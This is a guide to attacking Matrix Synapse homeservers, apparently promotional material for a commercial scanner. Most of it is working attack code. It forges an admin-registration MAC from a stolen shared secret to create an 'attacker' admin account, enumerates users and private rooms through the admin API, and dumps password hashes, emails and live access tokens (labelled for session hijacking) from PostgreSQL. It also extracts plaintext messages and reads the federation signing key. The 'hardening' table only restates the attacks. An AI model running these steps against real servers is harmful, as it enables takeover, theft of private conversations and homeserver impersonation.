Matrix Synapse Security Testing: Default Credentials, API Key, Database, and Homeserver

Matrix Synapse is the most widely deployed self-hosted Matrix homeserver — it powers federated messaging for organizations using Element and other Matrix clients. Key assessment areas: registration_shared_secret in homeserver.yaml enables creating admin accounts without any existing credentials; macaroon_secret_key signs access tokens enabling session forgery; PostgreSQL stores all room events including E2EE metadata; and the signing key file enables federation impersonation. This guide covers systematic Matrix Synapse security assessment.

Table of Contents

  1. registration_shared_secret Admin Account Creation
  2. Admin API User and Room Enumeration
  3. PostgreSQL Database and Configuration Extraction
  4. Matrix Synapse Security Hardening

registration_shared_secret Admin Account Creation

# Matrix Synapse — registration_shared_secret admin account creation
SYNAPSE_URL="https://matrix.example.com"

# homeserver.yaml — Synapse configuration
cat /etc/matrix-synapse/homeserver.yaml 2>/dev/null | \
  grep -E "registration_shared_secret|macaroon_secret_key|form_secret|signing_key|database" | head -10
# registration_shared_secret: "your-shared-secret"  <-- create admin accounts
# macaroon_secret_key: "your-macaroon-secret"        <-- sign access tokens
# form_secret: "your-form-secret"                    <-- email token generation

# Create admin account using registration_shared_secret (no existing auth needed)
REG_SECRET="extracted-registration-shared-secret"
ADMIN_USER="attacker"
ADMIN_PASS="Attack3r!"
ADMIN_DOMAIN="matrix.example.com"

# Generate HMAC-SHA1 registration MAC
MAC=$(python3 -c "
import hmac, hashlib
secret = '${REG_SECRET}'
nonce = 'some_nonce_value'
user = '${ADMIN_USER}'
password = '${ADMIN_PASS}'
admin = 'admin'
msg = '\x00'.join([nonce, user, password, admin])
mac = hmac.new(secret.encode(), msg.encode(), hashlib.sha1).hexdigest()
print(mac)
" 2>/dev/null)

# Register admin account
NONCE=$(curl -s "${SYNAPSE_URL}/_synapse/admin/v1/register" 2>/dev/null | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('nonce',''))" 2>/dev/null)

curl -s -X POST "${SYNAPSE_URL}/_synapse/admin/v1/register" \
  -H "Content-Type: application/json" \
  -d "{
    \"nonce\": \"${NONCE}\",
    \"username\": \"${ADMIN_USER}\",
    \"displayname\": \"Test Admin\",
    \"password\": \"${ADMIN_PASS}\",
    \"admin\": true,
    \"mac\": \"${MAC}\"
  }" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User ID: {d.get(\"user_id\")}')
print(f'Access token: {d.get(\"access_token\")}')
print(f'Home server: {d.get(\"home_server\")}')
" 2>/dev/null

Admin API User and Room Enumeration

# Matrix Synapse admin API — user and room enumeration
SYNAPSE_URL="https://matrix.example.com"
ADMIN_TOKEN="syt_your_admin_access_token"

# List all users on the homeserver
curl -s "${SYNAPSE_URL}/_synapse/admin/v2/users?from=0&limit=100" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('users',[])[:10]:
    print(f'  {u.get(\"name\")} admin={u.get(\"admin\")} guest={u.get(\"is_guest\")}')
    print(f'    email={u.get(\"threepids\")}')
    print(f'    last_seen={u.get(\"last_seen_ts\")}')
" 2>/dev/null

# List all rooms on the homeserver (includes private rooms)
curl -s "${SYNAPSE_URL}/_synapse/admin/v1/rooms?limit=100" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total rooms: {d.get(\"total_rooms\")}')
for r in d.get('rooms',[])[:10]:
    print(f'  {r.get(\"room_id\")} name={r.get(\"name\")} members={r.get(\"joined_members\")}')
    print(f'    public={r.get(\"public\")} federated={r.get(\"federatable\")}')
" 2>/dev/null

# Get room members and state
ROOM_ID="!example:matrix.example.com"
curl -s "${SYNAPSE_URL}/_synapse/admin/v1/rooms/${ROOM_ID}/members" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Members: {d.get(\"total\")}')
for m in d.get('members',[]):
    print(f'  {m}')
" 2>/dev/null

# Check if /_synapse/admin/ is accessible without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "${SYNAPSE_URL}/_synapse/admin/v1/server_version" 2>/dev/null
# 200 = admin API open; 401 = auth required; 403 = not admin

PostgreSQL Database and Configuration Extraction

# Matrix Synapse PostgreSQL database extraction
SYNAPSE_DB="synapse"

psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
-- All user accounts
SELECT u.name,              -- @user:matrix.example.com
       u.password_hash,     -- bcrypt hash
       u.admin,
       u.is_guest,
       u.creation_ts,
       ua.address as email  -- email address
FROM users u
LEFT JOIN user_threepids ua ON u.name = ua.user_id AND ua.medium = 'email'
ORDER BY u.admin DESC, u.creation_ts
LIMIT 20;
EOF

-- All active access tokens (session hijacking)
psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
SELECT t.token,
       t.user_id,
       t.device_id,
       t.valid_until_ms,
       t.used
FROM access_tokens t
WHERE (t.valid_until_ms IS NULL OR t.valid_until_ms > extract(epoch from now())*1000)
ORDER BY t.id DESC
LIMIT 20;
-- Active tokens can be used directly as Bearer tokens for API access
EOF

-- Room event metadata (E2EE message metadata is not encrypted)
psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
SELECT e.room_id,
       e.type,            -- m.room.message, m.room.member, etc.
       e.sender,
       e.content::text,  -- JSON content (encrypted for E2EE rooms, plaintext for non-E2EE)
       e.origin_server_ts
FROM events e
WHERE e.type = 'm.room.message'
ORDER BY e.origin_server_ts DESC
LIMIT 20;
-- Non-E2EE room content stored in plaintext in 'content' column
EOF

# Signing key — enables federation impersonation
cat /etc/matrix-synapse/homeserver.signing.key 2>/dev/null
# ed25519 key used to sign all federation requests from this homeserver

Matrix Synapse Security Hardening

Matrix Synapse Security Hardening Checklist:
Security TestMethodRisk
registration_shared_secret admin account creationGET /_synapse/admin/v1/register (nonce) + POST with HMAC-SHA1 MAC — create admin account without any existing credentials; full homeserver controlCritical
Admin API user and room enumerationGET /_synapse/admin/v2/users — all users, emails, last seen; GET /_synapse/admin/v1/rooms — all rooms including private rooms with member countsHigh
PostgreSQL access_tokens active session extractionSELECT token FROM access_tokens — active session tokens usable directly as Bearer tokens; no expiry check needed for long-lived tokensCritical
Non-E2EE room plaintext message extractionSELECT content FROM events WHERE type='m.room.message' — all non-E2EE room messages stored in plaintext; complete conversation historyHigh
Signing key extraction and federation impersonationRead homeserver.signing.key — ed25519 private key signs all federation requests; impersonate homeserver to external Matrix serversHigh

Automate Matrix Synapse Security Testing

Ironimo tests Matrix Synapse deployments for registration_shared_secret extraction and admin account creation, admin API /_synapse/admin/ external accessibility, user and room enumeration with admin token, PostgreSQL access_tokens active session extraction, non-E2EE room plaintext message access, homeserver.signing.key private key exposure, macaroon_secret_key access token forgery, allow_guest_access unauthenticated room join, open registration without token requirement, and PostgreSQL users table bcrypt hash extraction.

Start free scan